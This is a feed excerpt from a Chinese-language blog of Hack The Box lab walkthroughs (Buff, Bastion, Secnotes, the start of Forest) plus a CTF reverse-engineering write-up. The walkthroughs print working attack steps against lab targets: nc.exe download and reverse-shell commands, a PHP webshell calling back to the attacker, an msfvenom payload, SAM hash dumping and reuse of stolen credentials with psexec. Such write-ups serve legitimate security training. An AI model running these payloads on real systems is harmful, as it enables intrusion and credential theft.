&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient \\\\10.10.10.100\\Users -U Administrator%Ticketmaster1968
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一樣到桌面就拿到 flag 了&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;終於完成 Tj Null&apos;s List 的 PWK V1，總共打了 30 個 box，有些評分太低的我就沒打了&lt;br /&gt;
當初參加 CODE 的時候隊友用 Metasploit 很帥，結果現在都在學不用 Metasploit 解題 ==&lt;br /&gt;
本來是想一天打一台，結果四個月只打了 30 台，話還是不要說太滿。&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Buff Walkthrough</title><link>https://flydragonw.github.io/posts/htb_buff/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_buff/</guid><description>Buff Write-up w/o Metasploit</description><pubDate>Sat, 11 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_buff&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Buff，難度是 Easy&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;msfvenom shellcode&lt;/li&gt;
&lt;li&gt;chisel port forwarding&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.3&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.134&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.198 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: mrb3n&apos;s Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8080 port 上有個網頁&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;gobuster&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.10.10.198:8080 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/img                  (Status: 301) [Size: 341] [--&amp;gt; http://10.10.10.198:8080/img/]
/profile              (Status: 301) [Size: 345] [--&amp;gt; http://10.10.10.198:8080/profile/]                                                                          
/upload               (Status: 301) [Size: 344] [--&amp;gt; http://10.10.10.198:8080/upload/]
/license              (Status: 200) [Size: 18025]
/examples             (Status: 503) [Size: 1058]
/include              (Status: 301) [Size: 345] [--&amp;gt; http://10.10.10.198:8080/include/]                                                                                     
/licenses             (Status: 403) [Size: 1203]
/att                  (Status: 301) [Size: 341] [--&amp;gt; http://10.10.10.198:8080/att/]
/%20                  (Status: 403) [Size: 1044]
/ex                   (Status: 301) [Size: 340] [--&amp;gt; http://10.10.10.198:8080/ex/]
/*checkout*           (Status: 403) [Size: 1044]
/boot                 (Status: 301) [Size: 342] [--&amp;gt; http://10.10.10.198:8080/boot/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;沒看到甚麼有趣的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;website&lt;br /&gt;
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
看到登入欄位先試 SQLi，但失敗了&lt;br /&gt;
逛一下網站看到這個&lt;br /&gt;
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;拿到一個超像亂取名字的 framework&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Gym Management Software 1.0 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;查到這個 RCE 腳本&lt;br /&gt;
https://www.exploit-db.com/exploits/48506&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 exploit.py http://10.10.10.198:8080/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接拿到 user shell 了
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;彈個 revshell 方便後面提權&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell -c &quot;(new-object System.Net.WebClient).DownloadFile(&apos;http://10.10.16.3:8000/nc.exe&apos;, &apos;nc.exe&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nc.exe -e cmd.exe 10.10.16.3 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;C:\Users\shaun\Downloads&lt;/code&gt; 有個 &lt;code&gt;CloudMe_1112.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;CloudMe 1.11.2 有 BOF 漏洞&lt;br /&gt;
https://www.exploit-db.com/exploits/48389&lt;br /&gt;
不過現在的 shell code 是打開小算盤 XD&lt;br /&gt;
用 &lt;code&gt;netstat&lt;/code&gt; 可以看到 PoC 所需的 8888 port 是打開的&lt;br /&gt;
（有 service 聽在 127.0.0.1:8888）&lt;/p&gt;
&lt;p&gt;照著 exploit 裡附的指令依樣畫葫蘆一下
原本是這樣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 -p windows/exec CMD=calc.exe -b &apos;\x00\x0A\x0D&apos; -f python
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -a x86 -p windows/exec CMD=&apos;C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.16.3 1234&apos; -b &apos;\x00\x0A\x0D&apos; -f python -v payload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;-v payload 是指定輸出的變數名稱，我就和 exploit 一樣取 payload&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Exploit 準備完成之後還需要做 port forwarding 把 127.0.0.1:8888 轉發出去&lt;br /&gt;
這邊用的是 chisel 來做&lt;br /&gt;
https://github.com/jpillora/chisel&lt;/p&gt;
&lt;p&gt;先上傳 windows 版本到靶機上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell -c &quot;(new-object System.Net.WebClient).DownloadFile(&apos;http://10.10.16.3:8000/chisel_windows_x64.exe&apos;, &apos;chisel_windows_x64.exe&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 kali 上打開 server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./chisel_linux server -p 6666 --reverse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在靶機上轉發 port&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\chisel_windows_x64.exe client 10.10.16.3:6666 R:8888:localhost:8888
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行改過 payload 的腳本之後可以收到 root shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Bastion Walkthrough</title><link>https://flydragonw.github.io/posts/htb_bastion/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_bastion/</guid><description>Bastion Write-up w/o Metasploit</description><pubDate>Fri, 10 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_bastion&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Bastion，難度是 Easy&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mount smb to kali&lt;/li&gt;
&lt;li&gt;Extract password from SAM and SYSTEM (.vhd file)&lt;/li&gt;
&lt;li&gt;Insecure mRemoteNG&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.2&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.134&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.134
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-05-09T07:55:56+02:00
| smb2-time: 
|   date: 2024-05-09T05:56:00
|_  start_date: 2024-05-09T05:48:18
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -44m56s, deviation: 1h09m16s, median: -4m57s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起來是要玩 smb&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;smbclient&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;先看有哪些 Share&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -N -L \\\\10.10.10.134\\
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
Backups         Disk      
C$              Disk      Default share
IPC$            IPC       Remote IPC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有個 Backups&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -N \\\\10.10.10.134\\Backups
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;連上之後逛一下找到這個路徑，裡面有兩個 &lt;code&gt;.vhd&lt;/code&gt; 檔案，用 get 載下來&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd&lt;/code&gt; 這個檔案很大&lt;br /&gt;
載很久才載完，所以先看這個&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;7z x 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接 segmentation fault&lt;br /&gt;
不過有些檔案已經解出來了，但 &lt;code&gt;Windows\System32\config&lt;/code&gt; 底下沒有 SAM 跟 SYSTEM&lt;br /&gt;
另一個檔案就可以解出來，但沒看到什麼特別的東西&lt;/p&gt;
&lt;p&gt;查了一下看到這篇文章&lt;br /&gt;
https://infinitelogins.com/2020/12/11/how-to-mount-extract-password-hashes-vhd-files/&lt;br /&gt;
照著做嘗試 mount vhd 到 kali 上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install libguestfs-tools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir /mnt/vhd
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /mnt/vhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;做完之後 &lt;code&gt;/mnt/vhd&lt;/code&gt; 還是空的，推測一開始就沒有載完整&lt;br /&gt;
嘗試直接從 target mount 過來&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mount -t cifs //10.10.10.134/backups /mnt/backups -o user=,password=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功了！
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來再 mount vhd&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /mnt/vhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;複製 SAM 跟 SYSTEM 出來&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo cp vhd/Windows/System32/config/SAM ~/HTB/machine/Bastion
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo cp vhd/Windows/System32/config/SYSTEM ~/HTB/machine/Bastion
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dump 出 password hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;samdump2 SYSTEM SAM
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;丟 crackstation
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
拿到 L4mpje 的 password&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bureaulampje
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 user shell
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;沒有權限下 systeminfo，開的權限不知道有什麼提權的招&lt;br /&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不過 Program Files (x86) 裡面有 mRemoteNG&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml&lt;/code&gt; 裡面會有 admin 的 password&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Node Name=&quot;DC&quot; Type=&quot;Connection&quot; Descr=&quot;&quot; Icon=&quot;mRemoteNG&quot; Panel=&quot;General&quot; Id=&quot;50
0e7d58-662a-44d4-aff0-3a4f547a3fee&quot; Username=&quot;Administrator&quot; Domain=&quot;&quot; Password=&quot;aEWNF
V5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==&quot; H
ostname=&quot;127.0.0.1&quot; ......
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起來像 base64 但解出來是亂碼，再查一下找到這個&lt;br /&gt;
https://github.com/haseebT/mRemoteNG-Decrypt&lt;/p&gt;
&lt;p&gt;用這個腳本解出密碼
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;連上後取得 admin shell
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>THJCC CTF Write-ups</title><link>https://flydragonw.github.io/posts/thjcc_writeup/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/thjcc_writeup/</guid><description>Write-ups of my challenges in THJCC CTF</description><pubDate>Mon, 06 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.thjcc_writeup&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這篇會有我負責的題目的官方解答（預期解）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/FlyDragonW/THJCC_CTF&quot;&gt;題目原始碼和解題人數&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;感覺沒甚麼人解我的題目QQ&lt;/p&gt;
&lt;h2&gt;⚾&lt;/h2&gt;
&lt;p&gt;一個棒球小遊戲，可以把關鍵的判斷 patch 掉或是直接跳到 &lt;code&gt;flag()&lt;/code&gt;&lt;br /&gt;
兩種做法都蠻直觀的，當然也可以直接去逆 &lt;code&gt;flag()&lt;/code&gt;，比較麻煩就是了。
&lt;img src=&quot;image.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;只要能進到 &lt;code&gt;miss()&lt;/code&gt; 的分支就會呼叫 &lt;code&gt;flag()&lt;/code&gt;&lt;br /&gt;
簡單反轉兩個條件跳轉指令就可以了&lt;br /&gt;
&lt;img src=&quot;image-1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改後再次執行即可取得 flag&lt;br /&gt;
&lt;img src=&quot;image-2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Not Apple&lt;/h2&gt;
&lt;p&gt;又一個毫無新意的 Android 題目，沒啦想說出個用工具就可以秒解的題目，結果大家都卡在 flag format&lt;/p&gt;
&lt;p&gt;jadx 反編譯可以拿到部分 flag，看提示可以知道這裡用了 string resource 的語法
&lt;img src=&quot;image-3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到對應的 string resource 再替換一下就拿到完整的 flag
&lt;img src=&quot;image-4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;flag-decoder&lt;/h2&gt;
&lt;p&gt;這題是一個用 upx 加殼（壓縮）的 ELF 檔案，但我有做些修改沒辦法直接脫殼&lt;/p&gt;
&lt;p&gt;第一步就是先脫殼&lt;br /&gt;
upx 的特徵蠻明顯的，還有一些 IDA 的基本操作這邊就不再贅述
&lt;img src=&quot;image-5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大概就是 IDA 跳警告之後 eip 會出現 main() 的形狀&lt;br /&gt;
這裡代表已經載入原始的檔案了&lt;br /&gt;
&lt;img src=&quot;image-6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來把原始的 binary dump 出來&lt;br /&gt;
&lt;img src=&quot;image-7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看起來執行結果跟加殼後一樣&lt;br /&gt;
脫殼成功後再次用 IDA 分析找到 &lt;code&gt;main()&lt;/code&gt;
&lt;img src=&quot;image-8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;這邊有 anti-debug 不過直接跳過判斷就好&lt;br /&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;關鍵是在 &lt;code&gt;sub_401775()&lt;/code&gt; 會對 flag 做解密&lt;br /&gt;
可以在解密後從 stack 的殘留值取得 flag&lt;br /&gt;
&lt;img src=&quot;image-10.png&quot; alt=&quot;img&quot; /&gt;
&lt;img src=&quot;image-11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再把這裡 dump 下來
&lt;img src=&quot;image-12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;會拿到一串 0 跟 1，再到提示給的&lt;a href=&quot;https://bahamas10.github.io/binary-to-qrcode/&quot;&gt;網站&lt;/a&gt;
拿到 QR code 掃描一下就拿到 flag 了。
&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Secnotes Walkthrough</title><link>https://flydragonw.github.io/posts/htb_secnotes/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_secnotes/</guid><description>Secnotes Write-up w/o Metasploit</description><pubDate>Thu, 25 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_secnotes&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Secnotes，難度是 Medium&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SQL injection&lt;/li&gt;
&lt;li&gt;Windows php revshell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.3&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.97&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.97
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: HTB)
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-04-25T01:48:40
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -4m21s, deviation: 0s, median: -4m21s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 11121/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 11511/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;80 port&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;先看一下 Web，是個可以寫筆記的網頁，需要註冊帳號，塞一個簡單的 XSS payload
&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;
可以收到自己的 cookie
&lt;img src=&quot;2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Contact Us 功能送一樣的 payload 沒收到東西&lt;br /&gt;
只知道有個 &lt;code&gt;tyler@secnotes.htb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;路徑也沒掃到什麼，回來玩其他功能&lt;br /&gt;
註冊帳號時填入 SQLi payload 可以拿到一組 credential&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;登入 tyler 的帳號&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -N \\\\10.10.10.97\\new-site -U &quot;tyler%92g\!mA8BGjOirkL%OG*&amp;amp;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這個 new-site 在 8808 port 上&lt;br /&gt;
接下來上傳 nc.exe 跟 php webshell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
system(&quot;nc.exe -e cmd.exe 10.10.16.3 4444&quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收到 user shell
&lt;img src=&quot;4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;這個 user 權限有點低，連 systeminfo 都不能用，要另外尋找提權路線&lt;/p&gt;
&lt;p&gt;tyler 的桌面上有個 bash.lnk 把它印出來可以看到一個 bash.exe 的路徑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32\bash.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;結果沒辦法執行，過去看發現根本沒這個檔案 ==&lt;br /&gt;
用 where.exe 找才知道正確的路徑，有點通靈了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;where.exe /R C:\ bash.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行之後會拿到一個 linux 的 root shell&lt;br /&gt;
ls 會看到 smbserver 上的檔案，root 家目錄有個 filesystem&lt;br /&gt;
推測應該是做了什麼操作讓 linux 跟 smbserver 共用目錄&lt;br /&gt;
用 history 就可以看到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8  mkdir filesystem
9  mount //127.0.0.1/c$ filesystem/
10  sudo apt install cifs-utils
11  mount //127.0.0.1/c$ filesystem/
12  mount //127.0.0.1/c$ filesystem/ -o user=administrator
13  cat /proc/filesystems
14  sudo modprobe cifs
15  smbclient
16  apt install smbclient
17  smbclient
18  smbclient -U &apos;administrator%u6!4ZwgwOM#^OBf#Nwnh&apos; \\\\127.0.0.1\\c$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到一組 admin 的 credential&lt;br /&gt;
沒意外的話 psexec 可以拿 root shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec administrator:&apos;u6!4ZwgwOM#^OBf#Nwnh&apos;@10.10.10.97
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 root shell
&lt;img src=&quot;6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Forest Walkthrough</title><link>https://flydragonw.github.io/posts/htb_forest/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_forest/</guid><description>Forest Write-up w/o Metasploit</description><pubDate>Wed, 24 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_forest&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Forest，難度是 Easy，也是 AD 101 的第一台&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ldapsearch&lt;/li&gt;
&lt;li&gt;john crack hash&lt;/li&gt;
&lt;li&gt;SharpHound + BloodHound CE&lt;/li&gt;
&lt;li&gt;DCSync&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.3&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.161&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.161
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE      REASON          VERSION
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-22 05:29:52Z)
